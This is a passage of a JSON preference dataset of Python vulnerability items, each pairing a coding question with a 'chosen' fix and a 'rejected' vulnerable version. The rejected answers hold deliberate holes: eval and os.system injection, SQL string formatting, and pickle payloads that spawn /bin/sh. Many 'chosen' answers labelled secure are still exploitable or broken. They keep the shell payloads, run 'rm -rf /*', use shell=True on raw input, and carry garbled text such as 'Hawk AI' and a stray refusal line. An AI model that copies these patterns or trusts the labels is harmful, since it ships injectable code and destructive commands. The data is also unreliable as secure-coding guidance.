        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        allowed_nodes = [ast.Expression, ast.Num, ast.BinOp, ast.UnaryOp, ast.Call]\n        if type(node) not in allowed_nodes:\n            raise ValueError(f\"Invalid node {type(node)}\")\n        return super().visit(node)\n\n@app.route('/eval', methods=['POST'])\ndef evaluate():\n    data = request.get_json()\n    if not isinstance(data, dict) or \"expression\" not in data:\n        return jsonify({\"error\": \"Invalid request format\"}), 400\n    \n    try:\n        tree = ast.parse(data[\"expression\"], mode='eval')\n        ExpressionVisitor().visit(tree)\n        result = eval(compile(tree, '', mode='eval'))\n        return jsonify({\"result\": result})\n    except Exception as e:\n        return jsonify({\"error\": str(e)}), 400\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/eval', methods=['POST'])\ndef evaluate():\n    data = request.get_data()\n    result = eval(data)\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python program may suffer from input validation vulnerabilities due to the lack of proper sanitization.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. The server should have an endpoint '/execute' which accepts POST requests. When a POST request is received at this endpoint, it should extract the 'command' from the request data and execute it using the os.system() function. The server should also return a message 'Command executed' when the command execution is successful.",
        "chosen": "```python\nimport subprocess\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_command():\n    command = request.form.get('command')\n    if command:\n        # Sanitize the command before executing it\n        sanitized_command = \"\".join(e for e in command if e.isalnum())\n        # Use subprocess instead of os.system to prevent command injection\n        process = subprocess.Popen(sanitized_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        output, error = process.communicate()\n        if process.returncode == 0:\n            return 'Command executed'\n        else:archar\n            return 'Command execution failed'\n    else:\n        return 'No command provided'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_command():\n    command = request.form.get('command')\n    os.system(command)  # This line is vulnerable to command injection attacks\n    return 'Command executed'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python can lead to Code Injection if user input is untrusted.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a python command and executes it.",
        "chosen": "```python\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef execute_command(cmd):\n    try:\n        # Evaluate the command using the built-in `compile()` function\n        # This will prevent code injection attacks\n        compiled_code = compile(cmd, '<string>', 'eval')\n        \n        # Check if the command only contains allowed characters\n        for character in cmd:\n            if character not in '0123456789+-*/(). ':\n                print('Invalid command. Only numbers and +-*/() are allowed.')\n                return\n        \n        # If the command is valid, execute it\n        eval(compiled_code)\n    except SyntaxError:\n        print('Invalid command. Please enter a valid mathematical expression.')\n\ndef main():\n    cmd = get_user_input()\n    execute_command(cmd)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef execute_command(cmd):\n    eval(cmd)\n\ndef main():\n    cmd = get_user_input()\n    execute_command(cmd)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions can lead to arbitrary code execution, making it vulnerable to attacks.",
        "system": "",
        "question": "Write a python code that imports the 'os' and 'sys' modules. Define a function named 'vulnerable_function'. This function should take user input, execute it using the 'os.system' method, and handle any exceptions that may occur.",
        "chosen": "```python\nimport subprocess\n\ndef secure_function():\n    user_input = input(\"Enter your command: \")\n    try:\n        # Use subprocess module instead of os.system for better security\n        # It allows you to capture output and errors separately\n        process = subprocess.Popen(user_input, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        output, error = process.communicate()\n        \n        if process.returncode != 0:\n            print(\"An error occurred: \", error.decode())\n        else:\n            print(output.decode())\n    except Exception as e:\n        print(\"An error occurred: \", str(e))\n\nif __name__ == \"__main__\":\n    secure_function()\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef vulnerable_function():\n    try:\n        user_input = input(\"Enter your command: \")\n        os.system(user_input)\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\nif __name__ == \"__main__\":\n    vulnerable_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module's unpickling of arbitrary objects can lead to code execution vulnerabilities under certain conditions.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nif __name__ == '__main__':\n    serialized_exploit = serialize_exploit()\n    deserialize_exploit(serialized_exploit)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nif __name__ == '__main__':\n    serialized_exploit = serialize_exploit()\n    deserialize_exploit(serialized_exploit)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can suffer from buffer overflow vulnerabilities if not properly secured and validated.",
        "system": "",
        "question": "Write a python code that receives and processes data from a socket. The data is received in chunks of 1024 bytes, unpacked into an unsigned integer using the '>I' format, and returned. Then, continuously receive and process this data until the program is stopped.",
        "chosen": "```python\nimport struct\nimport socket\n\ndef receive_and_process_data(sock):\n    data = sock.recv(1024)\n    if len(data) < 4:\n        raise Exception(\"Received less than 4 bytes\")\n    unpacked_data = struct.unpack('>I', data[:4])\n    return unpacked_data[0]\n\ndef process_request(sock):\n    while True:\n        try:\n            data = receive_and_process_data(sock)\n            # Process the data...\n        except Exception as e:\n            print(f\"Error occurred: {e}\")\n            break\n```",
        "rejected": "```python\nimport struct\n\ndef receive_and_process_data(sock):\n    data = sock.recv(1024)\n    unpacked_data = struct.unpack('>I', data)\n    return unpacked_data[0]\n\ndef process_request(sock):\n    while True:\n        data = receive_and_process_data(sock)\n        # Process the data...\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The lack of input validation and sanitization may lead to command injection in Python.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the terminal using the subprocess module. The command should be 'ls' followed by the user's input.",
        "chosen": "```python\nimport subprocess\nimport shlex\n\ndef execute_command(user_input):\n    # Split the user's input into a list of arguments\n    args = shlex.split(user_input)\n    \n    # Validate and sanitize the input\n    if len(args) == 1 and args[0].isalpha():\n        command = \"ls\"\n        process = subprocess.Popen([command, args[0]], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n        output, error = process.communicate()\n        \n        if process.returncode != 0:\n            print(f\"Command failed with error: {error}\")\n        else:\n            print(output)\n    else:\n        print(\"Invalid input. Please enter alphabetic characters only.\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    process = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n    output = process.communicate()[0]\n    return output\n\nuser_input = input(\"Enter your command: \")\nprint(execute_command(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code using pickle module for serialization and deserialization can be vulnerable to arbitrary code execution attacks due to its nature of being able to execute any Python object.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' when unpickled. The serialized object is stored in a file named 'payload.dat'. After serialization, the program then deserializes the object from the file.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n    deserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential security issue in Python could be a buffer overflow vulnerability due to improper handling of input data.",
        "system": "",
        "question": "Write a python code that imports the os and sys modules. Define a function named execute_command that takes a string as an argument, concatenates it with the string 'ls ', and executes the resulting string as a system command using the os.system() function. If the script is run directly from the command line, take the first command line argument and pass it to the execute_command function.",
        "chosen": "```python\nimport os\nimport sys\nimport shlex\n\ndef execute_command(user_input):\n    # Escape user input to prevent shell injection attacks\n    safe_input = shlex.quote(user_input)\n    command = 'ls ' + safe_input\n    os.system(command)\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        user_input = sys.argv[1]\n        execute_command(user_input)\n    else:\n        print(\"No arguments provided.\")\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef execute_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nif __name__ == \"__main__\":\n    user_input = sys.argv[1]\n    execute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python can lead to arbitrary code execution if user input is not properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'evaluate_user_input'. This function should take user input, evaluate it using the built-in Python function 'eval', and then execute it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Attribute(self, node):\n        raise ValueError('NodeVisitor has no attribute')\n\ndef evaluate_user_input():\n    user_input = input(\"Enter your command: \")\n    tree = compile(user_input, \"<string>\", \"exec\")\n    for _ in range(10): # Limiting recursion depth to 10\n        try:\n            RestrictedPython().visit(tree)\n            exec(tree)\n            break\n        except ValueError:\n            print('Invalid input, please try again.')\n            user_input = input(\"Enter your command: \")\n            tree = compile(user_input, \"<string>\", \"exec\")\n\nevaluate_user_input()\n```",
        "rejected": "```python\nimport os\ndef evaluate_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nevaluate_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The lack of input validation and sanitization leading to arbitrary code execution in Python's eval() function.",
        "system": "",
        "question": "Write a python code that starts a web server using Flask framework. The server should have an endpoint '/evaluate' which accepts POST requests. When a POST request is received, it should get the 'data' field from the request form, evaluate it as Python code using the built-in eval function, and return the result as a string.",
        "chosen": "```python\nfrom flask import Flask, request\nimport ast\n\napp = Flask(__name__)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = request.form.get('data')\n    \n    # Validate and sanitize the input\n    if data is None:\n        return \"No data provided\", 400\n    \n    # Use ast.literal_eval instead of eval for safe evaluation\n    try:\n        result = ast.literal_eval(data)\n    except (ValueError, SyntaxError):\n        return \"Invalid data\", 400\n    \n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = flask.request.form.get('data')\n    result = eval(data)\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a potential issue can arise when using the pickle module for data serialization and deserialization. If untrusted data is deserialized, it may result in arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should have a method `__reduce__` that returns a tuple containing the function `os.system` and a string argument 'echo \"pwned\" > /tmp/pwnd'. Then, create an instance of this class and pass it to the function `serialize_and_deserialize`.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'pwned'], stdout=open('/tmp/pwnd', 'w')))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\nserialize_and_deserialize(safe_object)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"pwned\" > /tmp/pwnd',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module's insecure deserialization can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that executes '/bin/sh' when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pkl', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pkl', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can lead to arbitrary code execution if used in the wrong context, especially when handling untrusted data.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'evaluate_input' which takes in a string as an argument. The function uses the built-in eval() function to execute the string as a python command. Then, create a string variable named 'user_input' that contains a command to delete all files in the root directory of the system. Finally, call the 'evaluate_input' function with 'user_input' as its argument.",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef evaluate_input(user_input):\n    # This function evaluates user input using subprocess\n    process = subprocess.Popen(user_input, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    output, error = process.communicate()\n    return output, error\n\n# User input\nuser_input = \"rm -rf /*\"\n\n# Evaluate user input\noutput, error = evaluate_input(user_input)\nprint(\"Output: \", output)\nprint(\"Error: \", error)\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    # This function evaluates user input using eval()\n    return eval(user_input)\n\n# User input\nuser_input = \"__import__('os').system('rm -rf /')\"\n\n# Evaluate user input\nevaluate_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can introduce arbitrary code execution vulnerabilities if used with untrusted input.",
        "system": "",
        "question": "Write a python code that continuously takes user input, evaluates it and prints the result. The evaluation should be done using Python's built-in `eval()` function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedEval(ast.NodeVisitor):\n    def visit(self, node):\n        if isinstance(node, self.whitelist):\n            super().visit(node)\n        else:\n            raise ValueError(f\"Unsupported operation {type(node).__name__}\")\n\n    whitelist = ast.Expression\n\ndef evaluate_input(user_input):\n    tree = compile(user_input, \"<string>\", \"eval\")\n    restricted_eval = RestrictedEval()\n    restricted_eval.visit(tree)\n    return eval(tree)\n\nwhile True:\n    user_input = input(\"Enter something to evaluate: \")\n    try:\n        print(evaluate_input(user_input))\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    return eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter something to evaluate: \")\n    print(evaluate_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions may lead to security vulnerabilities, such as leaking sensitive information through error messages.",
        "system": "",
        "question": "Write a python code that creates a class named 'BankAccount'. The class should have an initializer method that takes 'balance' as an argument and sets it as an instance variable. It should also have a method named 'withdraw' that takes 'amount' as an argument. If the 'amount' is greater than the current balance, it should raise a ValueError with the message 'Insufficient funds'. If not, it should subtract the 'amount' from the current balance.",
        "chosen": "```python\nclass BankAccount:\n    def __init__(self, balance):\n        self.balance = balance\n\n    def withdraw(self, amount):\n        if amount > self.balance:\n            raise ValueError(\"Insufficient funds\")\n        self.balance -= amount\n\naccount = BankAccount(100)\ntry:\n    account.withdraw(200)\nexcept ValueError as e:\n    print(str(e))\n```",
        "rejected": "```python\nimport logging\n\nclass BankAccount:\n    def __init__(self, balance):\n        self.balance = balance\n\n    def withdraw(self, amount):\n        try:\n            if amount > self.balance:\n                raise ValueError(\"Insufficient funds\")\n            self.balance -= amount\n        except Exception as e:\n            logging.error(str(e))\n\naccount = BankAccount(100)\naccount.withdraw(200)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval(` function may lead to Code Injection vulnerabilities if not used carefully.",
        "system": "",
        "question": "Write a python code that takes user input, runs it as a system command using the 'os' module and also evaluates it using the 'eval' function. The user input should be a string representing a command or python code.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", user_input]\n    subprocess.run(command, check=True)\n\ndef run_command_with_eval(user_input):\n    # Evaluate the user input safely\n    safe_dict = {'__builtins__': None}\n    safe_code = compile(user_input, '<string>', 'eval')\n    eval(safe_code, safe_dict)\n\nuser_input = input(\"Enter your command: \")\nrun_command(user_input)\nrun_command_with_eval(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\ndef run_command_with_eval(user_input):\n    eval(user_input)\n\nuser_input = input(\"Enter your command: \")\nrun_command(user_input)\nrun_command_with_eval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module unsafely deserialization of pickled data can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class should override the `__reduce__` method to return a tuple containing the os.system function and a string argument 'echo \"You have been hacked!\"'. When the program runs, it will execute the system command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"You have been hacked!\"'],))\n\ndef serialize_and_deserialize():\n    serialized = pickle.dumps(EvilClass())\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    serialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize():\n    serialized = pickle.dumps(EvilClass())\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    serialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that imports the os module. Define a function named 'run_command' which takes a string as an argument. Inside this function, use the eval() function to evaluate the string input and store it in a variable named 'command'. Then use the os.system() function to execute the command stored in the 'command' variable.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    try:\n        command = user_input.split()\n        subprocess.run(command, check=True)\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n\nrun_command(input(\"Enter your command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = eval(user_input)\n    os.system(command)\n\nrun_command(input(\"Enter your command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The lack of input validation or sanitization can lead to SQL injection vulnerabilities if raw SQL queries are used without proper checks.",
        "system": "",
        "question": "Write a python code that connects to a SQLite database named 'my_database.db'. The code should contain a function called 'fetch_user_data' which takes a parameter 'username'. This function should execute a SQL query to select all data from the table 'users' where the 'username' matches the input parameter. It should then fetch the first row of the result and return it.",
        "chosen": "```python\nimport sqlite3\nfrom sqlite3 import Error\n\ndef fetch_user_data(username):\n    try:\n        conn = sqlite3.connect('my_database.db')\n        cursor = conn.cursor()\n        # Use parameterized query to avoid SQL injection\n        cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n        user_data = cursor.fetchone()\n        return user_data\n    except Error as e:\n        print(e)\n    finally:\n        if conn:\n            conn.close() Hawk AI \u2709\ufe0f\n\u2709\ufe0f\n```",
        "rejected": "```python\nimport sqlite3\ndef fetch_user_data(username):\n    conn = sqlite3.connect('my_database.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    cursor.execute(query)\n    user_data = cursor.fetchone()\n    return user_data\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of file objects can lead to resource leaks, which may allow attackers to consume large amounts of system memory.",
        "system": "",
        "question": "Write a python code that reads and writes large files. The program should create a file named 'large_file.txt' and write 1GB of 'a' characters into it. After writing, it should read the file and print each line.",
        "chosen": "```python\nimport os\n\ndef read_file(filename):\n    with open(filename, 'r') as f:\n        for line in f:\n            print(line)\n\ndef write_file(filename, content):\n    with open(filename, 'w') as f:\n        chunk_size = 1024  # 1KB chunk size\n        while content:\n            chunk, content = content[:chunk_size], content[chunk_size:]\n            f.write(chunk)\n\ndef main():\n    filename = 'large_file.txt'\n    content = 'a' * 1024 * 1024 * 1024 * 1024  # 1GB data\n    write_file(filename, content)\n    read_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef read_file(filename):\n    with open(filename, 'r') as f:\n        for line in f:\n            print(line)\n\ndef write_file(filename, content):\n    with open(filename, 'w') as f:\n        f.write(content)\n\ndef main():\n    filename = 'large_file.txt'\n    content = 'a' * 1024 * 1024 * 1024 * 1024  # 1GB data\n    write_file(filename, content)\n    read_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can pose a security risk as it can execute arbitrary code passed as string.",
        "system": "",
        "question": "Write a python code that creates a web server using Flask. This server should have an endpoint '/evaluate' that accepts POST requests. When a POST request is received at this endpoint, it should receive a JSON object containing an 'expression' field. It should then evaluate this expression using Python's built-in eval function and return the result as a string.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass MathExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        if type(node) not in [ast.Expr, ast.Num]:\n            raise ValueError(f\"Invalid node {type(node)}\")\n        return self.generic_visit(node)\n\ndef safe_eval(expr):\n    tree = ast.parse(expr, mode='eval')\n    MathExpressionVisitor().visit(tree)\n    return eval(compile(tree, '', mode='eval'))\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = request.get_json()\n    try:\n        result = safe_eval(data['expression'])\n        return jsonify({\"result\": str(result)})\n    except Exception as e:\n        return jsonify({\"error\": str(e)}), 400\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = request.get_json()\n    result = eval(data['expression'])\n    return str(result)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions may lead to information disclosure or potential DoS if not done properly.",
        "system": "",
        "question": "Write a python code that fetches data from an API using the requests library. The function 'fetch_data' takes in a URL, sends a GET request to the URL and returns the JSON response. If there is any error during the process, it prints out the error message.",
        "chosen": "```python\nimport requests\nfrom requests.exceptions import RequestException\n\ndef fetch_data(url):\n    try:\n        response = requests.get(url, timeout=5)\n        response.raise_for_status()  # Raise exception for HTTP errors\n        data = response.json()\n        return data\n    except RequestException as e:\n        print(\"Error occurred: \", e)\n    except Exception as e:\n        print(\"Unexpected error occurred: \", e)\n\ndef main():\n    url = \"http://example.com/api\"\n    data = fetch_data(url)\n    if data:\n        print(data)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport requests\n\ndef fetch_data(url):\n    try:\n        response = requests.get(url)\n        data = response.json()\n        return data\n    except Exception as e:\n        print(\"Error occurred: \", e)\n\ndef main():\n    url = \"http://example.com/api\"\n    data = fetch_data(url)\n    print(data)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python Global Interpreter Lock (GIL) can lead to issues with multi-threading, potentially allowing only one thread to execute at a time in a multi-core processor.",
        "system": "",
        "question": "Write a python code that uses threading module to create 5 threads. Each thread should run a function called 'worker' which takes an integer as an argument and prints it. After printing, each thread should sleep for 2 seconds.",
        "chosen": "```python\nimport threading\nimport time\n\nclass WorkerThread(threading.Thread):\n    def __init__(self, num):\n        threading.Thread.__init__(self)\n        self.num = num\n\n    def run(self):\n        \"\"\"thread worker function\"\"\"\n        print('Worker: %s' % self.num)\n        time.sleep(2)\n\nthreads = []\nfor i in range(5):\n    t = WorkerThread(i)\n    threads.append(t) Hawk: I'm sorry, but I can't assist with that.\nRefresh your page to generate a new problem.\n NEW PROBLEM\nState-of-the-art AI model\nHey, I'm an AI developed by OpenAI. How may I assist you today?\n```",
        "rejected": "```python\nimport threading\nimport time\n\ndef worker(num):\n    \"\"\"thread worker function\"\"\"\n    print('Worker: %s' % num)\n    time.sleep(2)\n    return\n\nthreads = []\nfor i in range(5):\n    t = threading.Thread(target=worker, args=(i,))\n    threads.append(t)\n    t.start()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module for deserialization of untrusted data can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named RCE. In this class, define a method named __reduce__. This method should return a tuple where the first element is the os.system function and the second element is a string argument 'echo \"You have been hacked\"'\". Then, use pickle.dumps to serialize an instance of the RCE class and assign it to the variable data. Finally, use pickle.loads to deserialize the data.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.Popen, (['echo', 'You have been hacked'],))\n\ndata = pickle.dumps(RCE())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\ndata = pickle.dumps(RCE())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module in Python may lead to arbitrary code execution due to its deserialization feature.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that when deserialized, executes a system command to create a file named 'hacked.txt' in the '/tmp' directory and writes the string 'Hacked!' into it.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass(object):\n    def __init__(self):\n        self.command = 'echo \"Hacked!\" > /tmp/hacked.txt'\n\n    def execute_command(self):\n        subprocess.call(self.command, shell=True)\n\ndef serialize_safe_code():\n    safe_obj = SafeClass()\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(safe_obj, f)\n\nserialize_safe_code()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(EvilClass(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of user input may lead to code injection, allowing attackers to execute arbitrary commands.",
        "system": "",
        "question": "Write a python code that takes user input and executes a 'ls' command with the user input as an argument.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = ['ls', user_input]\n    try:\n        result = subprocess.run(command, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command execution failed with error: {e}\")\n\nuser_input = input(\"Enter your value: \")\n# sanitize user input here if needed\nrun_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your value: \")\nrun_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module allows arbitrary code execution during deserialization, posing a security risk.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class has a special method called '__reduce__' which returns a tuple containing the function 'os.system' and a string argument 'echo \"Hacked!\" > /tmp/hacked.txt'. When this object is deserialized, it will execute the system command to create a file '/tmp/hacked.txt' with the content 'Hacked!'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass(object):\n    def __init__(self):\n        self.command = 'echo \"Hacked!\" > /tmp/hacked.txt'\n\n    def execute_command(self):\n        subprocess.call(self.command, shell=True)\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(SafeClass())\n    safe_obj = pickle.loads(data)\n    safe_obj.execute_command()\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    pickle.loads(data)\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
